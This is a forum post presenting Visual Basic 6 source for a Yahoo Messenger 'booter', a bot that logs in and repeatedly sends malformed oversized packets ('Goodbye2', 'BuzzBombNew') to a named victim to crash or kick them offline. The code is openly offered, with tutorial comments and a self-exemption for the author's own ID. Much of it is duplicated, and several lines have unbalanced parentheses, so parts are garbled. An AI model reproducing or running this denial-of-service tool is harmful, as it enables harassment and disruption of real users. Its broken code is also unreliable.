Visual Basic 6 Source Code Booter

In jos

Visual Basic 6 Source Code Booter

Mesaj  Neamtu la data de Dum Mar 11, 2012 10:45 am

Private Sub Winsock1_Connect()
Winsock1.SendData Get_Key(YahooID)
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String, dData() As String, sData() As String, i As Integer
Dim Crypt(1) As String
Winsock1.GetData Data, vbString, bytesTotal
dData = Split(Data, "YMSG" & Chr(0))
For i = 0 To UBound(dData)
Data = "YMSG" & Chr(0) & dData(i)
Select Case LCase(Mid(Data, 12, 1))
Case "w"
SessionKey = Mid(Data, 17, 4)
sData = Split(Data, "À***8364;"
Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1)
Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1))
Case "u"
status.Caption = "Connected."

End Select
If InStr(1, Data, "None of the users in the invite list are available" Then
status.Caption = " Booted"
End If
If Mid(Data, 12, Len("Oÿÿÿÿ") = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass."
Next
Debug.Print Replace(Data, Chr(0), "*"
End Sub
Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect Host_Name, 5050
End Sub
Private Sub Command2_Click()
Winsock1.Close
Timer1.Enabled = False
status = "Lag out Bot"
End Sub
Private Sub Command3_Click()
If Victim.Text = "immortal" Then End
Timer1.Enabled = True
status = "Kicking"
End Sub
Private Sub Command4_Click()
Timer1.Enabled = False
Winsock1.Close
Pause 0.3
Winsock1.Connect Host_Name, 5050
status = "stopped"
End Sub
Private Sub Command5_Click()
MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP"
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
MsgBox "TESTING TO MAKE 1 BOT LOGIN WITH IMORTAL SOURCE TO LEARN SNOOP IN BOOTER PROGRAMING."
End Sub


Public Function BuzzBombNew(WhoFrom As String, Whoto As String)
Dim Packet As String
Packet = "1À***8364;" & WhoFrom & "À***8364;5À***8364;" & Whoto & "À***8364;14À***8364;<ding>À***8364;97À***8364;1À***8364;63À***8364;;0À***8364;64À***8364;0À***8364;206À***8364;0À***8364;"
BuzzBombNew = Header("06", Packet)
Debug.Print BuzzBombNew
End Function

Public Function Goodbye2(WhoFrom As String, Whoto As String) As String
Dim Packet1 As String, Packet2 As String, Packet3 As String, Packet4 As String, Packet5 As String
Packet1 = "1À***8364;" & WhoFrom & "À***8364;5À***8364;" & Whoto & "À***8364;59À***8364;" & "asdfas¦¦¦µ¦µ¼-ܦ-" & "--À***8364;258À***8364;" & String(1280, "Ü" & "À***8364;135À***8364;1.0.1À***8364;310À***8364;en-usÀ***8364;336À***8364;1À***8364;222À***8364;1À***8364;"
Packet2 = "1À***8364;" & WhoFrom & "À***8364;5À***8364;" & Whoto & "À***8364;59À***8364;" & "sdfasdf¦¦¦µ¦µ¼-ܦ-" & "--À***8364;258À***8364;" & String(1280, "Ü" & "À***8364;135À***8364;1.0.1À***8364;310À***8364;en-usÀ***8364;336À***8364;1À***8364;222À***8364;2À***8364;"
Packet3 = "1À***8364;" & WhoFrom & "À***8364;5À***8364;" & Whoto & "À***8364;59À***8364;" & "sdfas¦¦¦µ¦µ¼-ܦ-" & "--À***8364;258À***8364;" & String(1280, "Ü"& "À***8364;135À***8364;1.0.1À***8364;310À***8364;en-usÀ***8364;336À***8364;1À***8364;222À***8364;3À***8364;"
Packet4 = "1À***8364;" & WhoFrom & "À***8364;5À***8364;" & Whoto & "À***8364;59À***8364;" & "sdfas¦¦¦µ¦µ¼-ܦ-" & "--À***8364;258À***8364;" & String(1280, "Ü"& "À***8364;135À***8364;1.0.1À***8364;310À***8364;en-usÀ***8364;336À***8364;1À***8364;222À***8364;4À***8364;"
Packet5 = "1À***8364;" & WhoFrom & "À***8364;5À***8364;" & Whoto & "À***8364;59À***8364;" & "asdfas¦¦¦µ¦µ¼-ܦ-" & "--À***8364;258À***8364;" & String(1280, "Ü" & "À***8364;135À***8364;1.0.1À***8364;310À***8364;en-usÀ***8364;336À***8364;1À***8364;222À***8364;5À***8364;"
Goodbye2a = Header("E9", Packet1)
Goodbye2b = Header("E9", Packet2)
Goodbye2c = Header("E9", Packet3)
Goodbye2d = Header("E9", Packet4)
Goodbye2e = Header("E9", Packet5)
Goodbye2 = Goodbye2a & Goodbye2b & Goodbye2c & Goodbye2d & Goodbye2e
Debug.Print Goodbye2
End Function


Public Const Host_Name As String = "cs10.msg.dcn.yahoo.com"
Const Ver As Integer = 13
Const Name As String = "YMSG"
Private Declare Function YMSG12_ScriptedMind_Encrypt Lib "YMSG12ENCRYPT.dll" (ByVal UserName As String, ByVal Password As String, ByVal Seed As String, ByVal result_6 As String, ByVal result_96 As String, intt As Long) As Boolean
Public Function GetStrings(YahooID As String, YahooPass As String, Seed As String, Str1 As String, Str2 As String, Mode As Long) As Boolean
Dim A(1) As String, B As Long
On Error GoTo err
A(0) = String(80, vbNullChar)
A(1) = String(80, vbNullChar)
GetStrings = YMSG12_ScriptedMind_Encrypt(YahooID, YahooPass, Seed, A(0), A(1), Mode)
B = InStr(1, A(0), vbNullChar)
Str1 = Left$(A(0), B - 1)
B = InStr(1, A(1), vbNullChar)
Str2 = Left$(A(1), B - 1)
Exit Function
err:
GetStrings = False
End Function
Public Function Header(ByVal PacketType As String, ByVal pck As String) As String
Dim V As Integer
Dim X As Integer
X = 0
V = Len(pck)
Do While V > 255
V = V - 256
X = X + 1
Loop
Header = Name & Chr(0) & Chr(Ver) & String(2, 0) & Chr(X) & Chr(V) & Chr(0) & Chr("&H" & PacketType) & String(8, 0) & pck
Debug.Print Header
End Function
Public Function Login(ByVal YahooID As String, ByVal Crypt1 As String, ByVal crypt2 As String) As String
Dim pck As String
pck = "6À***8364;" & Crypt1 & "À***8364;96À***8364;" & crypt2 & "À***8364;0À***8364;" & YahooID & "À***8364;2À***8364;" & YahooID & "À***8364;192À***8364;-1À***8364;2À***8364;1À***8364;1À***8364;" & YahooID & "À***8364;99À***8364;betaÀ***8364;135À***8364;6,0,0,1555À***8364;148À***8364;300À***8364;59À***8364;B04um3 lh08ql2q&b=2À***8364;59À***8364;À***8364;"
Login = Header("54", pck)
End Function
Public Function Get_Key(YahooID As String) As String
Dim pck As String
pck = "1À***8364;" & YahooID & "À***8364;"
Get_Key = Header("57", pck)
End Function


Public Sub Pause(interval)
Dim X
X = Timer
Do While Timer - X < Val(interval)
DoEvents
Loop
End SubPrivate Sub Winsock1_Connect()
Winsock1.SendData Get_Key(YahooID)
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim Data As String, dData() As String, sData() As String, i As Integer
Dim Crypt(1) As String
Winsock1.GetData Data, vbString, bytesTotal
dData = Split(Data, "YMSG" & Chr(0))
For i = 0 To UBound(dData)
Data = "YMSG" & Chr(0) & dData(i)
Select Case LCase(Mid(Data, 12, 1))
Case "w"
SessionKey = Mid(Data, 17, 4)
sData = Split(Data, "À***8364;"
Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1)
Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1))
Case "u"
status.Caption = "Connected."

End Select
If InStr(1, Data, "None of the users in the invite list are available" Then
status.Caption = " Booted"
End If
If Mid(Data, 12, Len("Oÿÿÿÿ") = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass."
Next
Debug.Print Replace(Data, Chr(0), "*"
End Sub
Private Sub Command1_Click()
Winsock1.Close
Winsock1.Connect Host_Name, 5050
End Sub
Private Sub Command2_Click()
Winsock1.Close
Timer1.Enabled = False
status = "Lag out Bot"
End Sub
Private Sub Command3_Click()
If Victim.Text = "immortal" Then End
Timer1.Enabled = True
status = "Kicking"
End Sub
Private Sub Command4_Click()
Timer1.Enabled = False
Winsock1.Close
Pause 0.3
Winsock1.Connect Host_Name, 5050
status = "stopped"
End Sub
Private Sub Command5_Click()
MsgBox "THANK FOR IMMORTAL 1 BOT LOGIN SOURCE TESTING BY SNOOP"
End Sub
Private Sub Form_Load()
Timer1.Enabled = False
MsgBox "TESTING TO MAKE 1 BOT LOGIN WITH IMORTAL SOURCE TO LEARN SNOOP IN BOOTER PROGRAMING."
End Sub

Private Sub Frame2_DragDrop(Source As Control, X As Single, Y As Single)

End Sub



Private Sub Form_Load()
'This is where you can tell the program what to do on load.
Timer1.Enabled = False
'Typing MsgBox "Text Here" will popup a message box. You can change Text Here
'to whatever you would like the message box to say.
MsgBox "This is just a simple 1 bot login example I made to hopefully give some people some idea how to code a 1 bot login."
End Sub

Private Sub Form_Unload(Cancel As Integer)
'This tells the program what to do when it closes. A lot of people make there programs
'open up a link to there site upon exit.
GotoSite "http://www.Yahoo-Sux.com"
Winsock1.Close
Timer1.Enabled = False
Pause 0.1
Unload Me
End Sub

Private Sub Winsock1_Connect()
'Connects Winsock
Winsock1.SendData Get_Key(YahooID)
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
'Tells winsock what to do with returning data
On Error Resume Next
Dim Data As String, dData() As String, sData() As String, i As Integer
Dim Crypt(1) As String
Winsock1.GetData Data, vbString, bytesTotal
dData = Split(Data, "YMSG" & Chr(0))
For i = 0 To UBound(dData)
Data = "YMSG" & Chr(0) & dData(i)
Select Case LCase(Mid(Data, 12, 1))
Case "w"
SessionKey = Mid(Data, 17, 4)
sData = Split(Data, "À***8364;"
Call GetStrings(YahooID, Password, sData(3), Crypt(0), Crypt(1), 1)
Winsock1.SendData Login(YahooID, Crypt(0), Crypt(1))
Case "u"
status.Caption = "Connected."

End Select
If InStr(1, Data, "None of the users in the invite list are available" Then
status.Caption = " Booted"
End If
If Mid(Data, 12, Len("Oÿÿÿÿ") = "Oÿÿÿÿ" Then: status.Caption = "Wrong ID Or Pass."
Next
Debug.Print Replace(Data, Chr(0), "*"
End Sub

Private Sub Command1_Click()
'Logs the bot out and changes status to "Logged Out"
Winsock1.Close
Timer1.Enabled = False
status = "Logged Out"
End Sub

Private Sub Command1_Click()
'Connects the socket to the Yahoo Server and selected port
'This particular code calls the hostname from the module Login2, but
'you could also tell it to call it from a text or combo box.
'Ex: Winsock1.Connect LoginServer.Text, 5050 That way you can change the servers
Winsock1.Close
Winsock1.Connect Host_Name, 5050
End Sub

Private Sub Command3_Click()
'If you wanna make it to where no one can boot you with this program, put your name
'where "idylize" is. It just tells the program to end that command if your id is in
'the text box.
If Victim.Text = "immortal" Then End
'Turns Timer1 On.
Timer1.Enabled = True
'This is how to change the programs status message
status = "booting..."
End Sub

Private Sub Command4_Click()
'This turns timer1 off, then logs the bot out and then logs it back in. It auto-refreshes
'your bot for ya.
Timer1.Enabled = False
Winsock1.Close
Pause 0.3
Winsock1.Connect Host_Name, 5050
status = "stopped"
End Sub



Private Sub Timer1_Timer()
'When the timer is enabled it will do the following:
'Tells it if it encounters an error to proceed to next command
On Error Resume Next
'Tells winsock to send the following command. The stuff in paranthesis substitutes
'The text boxes with the usernames into the proper locations.
Winsock1.SendData Goodbye2(YahooID, Victim)
Pause 0.001
End Sub
Neamtu
Neamtu
Admin

Mesaje : 10
Data de înscriere : 11/03/2012

Vezi profilul utilizatorului http://computer-zone.wikiforum.ro

Sus In jos

Sus


 
Permisiunile acestui forum:
Nu puteti raspunde la subiectele acestui forum